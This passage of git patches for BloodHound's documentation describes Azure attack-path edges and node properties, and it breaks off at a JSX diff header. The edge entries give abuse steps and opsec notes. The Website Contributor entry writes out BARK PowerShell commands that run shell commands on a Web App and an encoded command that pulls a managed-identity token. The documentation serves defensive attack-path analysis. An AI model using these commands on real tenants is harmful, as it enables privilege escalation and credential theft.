+* https://blog.netspi.com/attacking-azure-with-custom-script-extensions/
+* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#owner
+
+|
+
+----
+
+|
+
+AZPrivilegedRoleAdmin
+^^^^^^^^^^^^^^^^^^^^^
+
+The Privileged Role Admin role can grant any other admin role to another principal
+at the tenant level.
+
+Abuse Info
+------------
+
+Activate the Global Admin role for yourself or for another user using PowerZure or
+PowerShell.
+
+Opsec Considerations
+--------------------
+
+The Azure Activity Log will log who activated an admin role for what other principal,
+including the date and time.
+
+References
+----------
+
+https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azureadrole
+
+|
+
+----
+
+|
+
+AZResetPassword
+^^^^^^^^^^^^^^^
+
+The ability to change another user’s password without knowing their current password.
+
+Abuse Info
+------------
+
+Find the user in the Azure portal, then click "Reset Password", or use PowerZure’s
+Set-AzureUserPassword cmdlet. If password write-back is enabled, this password will
+also be set for a synced on-prem user.
+
+Opsec Considerations
+--------------------
+
+Azure will log each password reset event, including who performed the reset, against which account, and at what date and time.
+
+References
+----------
+
+https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureuserpassword
+
+|
+
+----
+
+|
+
+AZRunsAs
+^^^^^^^^
+
+The Azure App runs as the Service Principal when it needs to authenticate to the tenant.
+
+Abuse Info
+------------
+
+This edge should be taken into consideration when abusing control of an app. Apps authenticate
+with service principals to the tenant, so if you have control of an app, what you are abusing
+is that control plus the fact that the app runs as a privileged service principal.
+
+
+|
+
+----
+
+|
+
+AZUserAccessAdministrator
+^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The User Access Admin role can edit roles against many other objects.
+
+Abuse Info
+------------
+This role can be used to grant yourself or another principal any privilege
+you want against Automation Accounts, VMs, Key Vaults, and Resource Groups.
+Use the Azure portal to add a new, abusable role assignment against the target
+object for yourself.
+
+Opsec Considerations
+--------------------
+
+Azure will log any role activation event for any object type.
+
+References
+----------
+
+https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/
+
+|
+
+----
+
+|
+
+AZVMAdminLogin
+^^^^^^^
+
+When a virtual machine is configured to allow logon with Azure
+AD credentials, the VM automatically has certain principals
+added to its local administrators group, including any principal
+granted the Virtual Machine Administrator Login (or "VMAL")
+admin role.
+
+Any principal granted this role, scoped to the affected VM, can
+connect to the VM via RDP and will be granted local admin rights
+on the VM.
+
+Abuse Info
+------------
+
+Connect to the VM via RDP and you will be granted local admin rights
+on the VM.
+
+Opsec Considerations
+--------------------
+
+If the target computer is a workstation and a user is currently
+logged on, one of two things will happen. If the user you are
+abusing is the same user as the one logged on, you will
+effectively take over their session and kick the logged on user
+off, resulting in a message to the user. If the users are
+different, you will be prompted to kick the currently logged on
+user off the system and log on. If the target computer is a
+server, you will be able to initiate the connection without
+issue provided the user you are abusing is not currently logged
+in.
+
+Remote desktop will create Logon and Logoff events with the
+access type RemoteInteractive.
+
+References
+----------
+
+* https://attack.mitre.org/tactics/TA0008/
+* https://attack.mitre.org/techniques/T1021/
+* https://docs.microsoft.com/en-us/azure/active-directory/devices/howto-vm-sign-in-azure-ad-windows
+
+|
+
+----
+
+|
+
+AZVMContributor
+^^^^^^^
+
+The Virtual Machine contributor role grants almost all abusable
+privileges against Virtual Machines.
+
+Abuse Info
+------------
+
+The Virtual Machine Contributor role allows you to run SYSTEM
+commands on the VM
+
+Via PowerZure:
+
+ * `Invoke-AzureRunCommand `_
+ * `Invoke-AzureRunMSBuild `_
+ * `Invoke-AzureRunProgram `_
+
+
+Opsec Considerations
+--------------------
+
+Because you'll be running a command as the SYSTEM user on the
+Virtual Machine, the same opsec considerations for running malicious
+commands on any system should be taken into account: command line
+logging, PowerShell script block logging, EDR, etc.
+
+References
+----------
+
+* https://blog.netspi.com/running-powershell-scripts-on-azure-vms/
+
+|
+
+----
+
+|
+
+AZWebsiteContributor
+^^^^^^^
+
+The Website Contributor role grants full control of the target
+Function App or Web App. Full control of either of those types
+of resources allows for arbitrary command execution against the
+target resoruce.
+
+Abuse Info
+------------
+
+You can use BARK's Invoke-AzureRMWebAppShellCommand function
+to execute commands on a target Web App. You can use BARK's
+New-PowerShellFunctionAppFunction, Get-AzureFunctionAppMasterKeys,
+and Get-AzureFunctionOutput functions to execute arbitrary
+commands against a target Function App.
+
+These functions require you to supply an Azure Resource Manager
+scoped JWT associated with the principal that has the privilege
+to execute commands on the web app or function app. There are
+several ways to acquire a JWT. For example, you may use BARK's
+Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+by supplying a refresh token:
+
+::
+
+ $ARMToken = Get-ARMTokenWithRefreshToken `
+ -RefreshToken "0.ARwA6WgJJ9X2qk..." `
+ -TenantID "contoso.onmicrosoft.com"
+
+
+Now you can use BARK's Invoke-AzureRMWebAppShellCommand function
+to execute a command against the target Web App.
+For example, to run a simple "whoami" command:
+
+::
+
+ Invoke-AzureRMWebAppShellCommand `
+ -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `
+ -Token $ARMToken `
+ -Command "whoami"
+
+
+If the Web App has a managed identity assignments, you can use BARK's
+Invoke-AzureRMWebAppShellCommand function to retrieve a JWT for the
+managed identity Service Principal like this:
+
+::
+
+ PS C:\> $PowerShellCommand =
+ $headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}
+ $response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers $headers
+ $response.RawContent
+
+ PS C:\> $base64Cmd = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PowerShellCommand))
+
+ PS C:\> $Command = "powershell -enc $($base64Cmd)"
+
+ PS C:\> Invoke-AzureRMWebAppShellCommand `
+ -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `
+ -token $ARMToken `
+ -Command $Command
+
+
+If successful, the output will include a JWT for the managed identity
+service principal.
+
+Opsec Considerations
+--------------------
+
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
+
+References
+----------
+
+* https://github.com/BloodHoundAD/BARK
+* https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/
+* https://posts.specterops.io/abusing-azure-app-service-managed-identity-assignments-c3adefccff95
+
+|
+
+----
+
+|
+
From bef3f97332c59b55a59a8cb9f1e0d210a154e27d Mon Sep 17 00:00:00 2001
From: Jonas Knudsen
Date: Sat, 15 Apr 2023 08:00:04 -0700
Subject: [PATCH 07/11] docs: Add new and missing Azure nodes
---
docs/data-analysis/nodes.rst | 328 +++++++++++++++++++++++++++++++++++
1 file changed, 328 insertions(+)
diff --git a/docs/data-analysis/nodes.rst b/docs/data-analysis/nodes.rst
index 4880cbc01..8aded93d8 100644
--- a/docs/data-analysis/nodes.rst
+++ b/docs/data-analysis/nodes.rst
@@ -822,6 +822,8 @@ At the top of the node info tab you will see the following info:
Overview
------------
* **See VM within Tenant**: Unrolls the VM membership within Azure, displaying the VM’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the VM.
+
Node Properties
------------------
@@ -898,3 +900,329 @@ Inbound Object Control
control of this object through Azure group delegation.
* **Transitive Object Controllers**: The number of objects in AD that can achieve
control of this object through object-control attack paths
+
+AZAutomationAccount
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AZContainerRegistry
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AZFunctionApp
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AZLogicApp
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AZManagedCluster
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AZVMScaleSet
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AzWebApp
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **See asset within Tenant**: Unrolls the asset's membership within Azure, displaying the asset’s resource group & subscription.
+* **Managed Identities**: Shows the assigned managed identity service principals for the asset.
+
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+
+Extra Properties
+-------------------
+
+* **tenantid**: The Azure tenant ID for the asset.
+
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AzManagementGroup
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Overview
+------------
+* **Reachable High Value Targets**: The count of how many high value
+ targets this asset has an attack path to. Click this number to see the shortest attack paths from this asset
+ to those high value targets.
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+* **Tenant ID**: The Azure tenant ID for the asset.
+
+Extra Properties
+----------------
+
+No extra properties.
+
+Descendent Objects
+-------------------
+
+The number of assets under this asset categorized in Azure asset types.
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
+
+AzRole
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the role
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the role.
+* **Display Name**: The display name of the role.
+* **Enabled**: Whether the role is enabled or disabled.
+* **Description**: Description of the role.
+* **Template ID**: Template ID of the role.
+* **Tenant ID**: The Azure tenant ID for the role.
+
+Extra Properties
+----------------
+
+* **isbuiltin**: Whether the role is an Azure built-in role or custom.
+
+
+Assignments
+-------------------
+
+* **Active Assignments**: The assets with this role actively assigned.
+* **PIM Assignments**: The assets with this PIM assigned.
+
+AZKeyVault
+^^^^^
+
+At the top of the node info tab you will see the following info:
+
+* **NAME**: The full name of the asset
+
+Node Properties
+------------------
+
+* **Object ID**: The Azure objectid for the asset.
+* **Enable RBAC Authorization**: Whether the Key Vault has RBAC authorization enabled or not.
+* **Tenant ID**: The Azure tenant ID for the asset.
+
+Vault Readers
+-------------------
+
+The number of assets that can read keys, certificates, and secrets in the Key Vault.
+
+Inbound Object Control
+-------------------------
+
+* **Explicit Object Controllers**: The number of principals that are in a role that has the ability to control this asset.
+* **Unrolled Object Controllers**: The actual number of principals that have control of this
+ asset through security group delegation. This number can sometimes be wildly higher than
+ the previous number.
+* **Transitive Object Controllers**: The number of assets in Azure that can achieve control of this object through control attack paths.
From 32ac28ef1f1d48791ca26b5db85bb5a1529259da Mon Sep 17 00:00:00 2001
From: Jonas Knudsen
Date: Sat, 15 Apr 2023 08:52:55 -0700
Subject: [PATCH 08/11] feat: Add Azure assets to descendant objects
---
.../Tabs/AZManagementGroupNodeData.jsx | 74 +++++++++++-
.../Tabs/AZResourceGroupNodeData.jsx | 69 +++++++++--
.../Tabs/AZSubscriptionNodeData.jsx | 66 ++++++++++-
.../SearchContainer/Tabs/AZTenantNodeData.jsx | 108 +++++++++++++++++-
4 files changed, 294 insertions(+), 23 deletions(-)
diff --git a/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx b/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx
index ed8f16d27..361fa3035 100644
--- a/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx
@@ -106,13 +106,21 @@ const AZManagementGroupNodeData = ({}) => {
-
+